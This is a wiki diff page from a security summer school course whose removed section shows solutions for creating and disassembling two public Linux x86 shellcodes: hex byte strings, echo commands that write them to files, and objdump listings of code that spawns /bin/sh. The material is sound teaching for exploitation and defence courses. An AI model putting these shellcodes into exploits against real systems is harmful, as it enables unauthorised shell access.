Security Summer School

User Tools

Site Tools

session:solution:09

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision 		Previous revision
session:solution:09 [2015/07/09 00:59]
Razvan Deaconescu [Hello, World!] 		session:solution:09 [2020/07/19 12:49] (current)
Line 1: Line 1:
-====== Session 09 Solutions ====== +====== 0x09. Defense Mechanisms (Solutions) ======
- +
-===== Create and disassemble binary shellcodes ===== +
- +
-We extract the two shellcode byte strings from the given links ([[http://shell-storm.org/shellcode/files/shellcode-216.php|1]], [[http://shell-storm.org/shellcode/files/shellcode-827.php|2]]):<code> +
-$ cat 216.print +
-\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff +
-$ cat 827.print  +
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 +
-</code> +
- +
-and then we use ''echo'' to generate two binary shellcode files:<code> +
-$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin +
-$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin +
-</code> +
- +
-Afterwards, we disassemble the binary shellcode files:<code> +
-$ objdump -D -b binary -m i386 -M intel 827.bin  +
- +
-827.bin:     file format binary +
- +
- +
-Disassembly of section .data: +
- +
-00000000 <.data>: +
-   0: 31 c0                xor    eax,eax +
-   2: 50                    push   eax +
-   3: 68 2f 2f 73 68        push   0x68732f2f +
-   8: 68 2f 62 69 6e        push   0x6e69622f +
-   d: 89 e3                mov    ebx,esp +
-   f: 50                    push   eax +
-  10: 53                    push   ebx +
-  11: 89 e1                mov    ecx,esp +
-  13: b0 0b                mov    al,0xb +
-  15: cd 80                int    0x80 +
- +
- +
-$ objdump -D -b binary -m i386 -M intel 216.bin  +
- +
-216.bin:     file format binary +
- +
- +
-Disassembly of section .data: +
- +
-00000000 <.data>: +
-   0: 6a 46                push   0x46 +
-   2: 58                    pop    eax +
-   3: 31 db                xor    ebx,ebx +
-   5: 31 c9                xor    ecx,ecx +
-   7: cd 80                int    0x80 +
-   9: eb 21                jmp    0x2c +
-   b: 5f                    pop    edi +
-   c: 6a 0b                push   0xb +
-   e: 58                    pop    eax +
-   f: 99                    cdq     +
-  10: 52                    push   edx +
-  11: 66 68 2d 63          pushw  0x632d +
-  15: 89 e6                mov    esi,esp +
-  17: 52                    push   edx +
-  18: 68 2f 2f 73 68        push   0x68732f2f +
-  1d: 68 2f 62 69 6e        push   0x6e69622f +
-  22: 89 e3                mov    ebx,esp +
-  24: 52                    push   edx +
-  25: 57                    push   edi +
-  26: 56                    push   esi +
-  27: 53                    push   ebx +
-  28: 89 e1                mov    ecx,esp +
-  2a: cd 80                int    0x80 +
-  2c: e8 da ff ff ff        call   0xb +
-</code> +
-and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files. +
- +
-===== Call Trampoline =====+
  
 TODO TODO
- 
-===== Exploit with Known Buffer Address ===== 
- 
-TODO 
- 
-===== Brute-Forcing the Buffer Address ===== 
- 
-TODO 
- 
-===== NOP Sled ===== 
- 
-TODO 
- 
-===== Environment variables ===== 
- 
-TODO 
- 
session/solution/09.1436392771.txt.gz · Last modified: 2015/07/09 00:59 by Razvan Deaconescu

Page Tools

Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Share Alike 4.0 International
CC Attribution-Share Alike 4.0 International Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki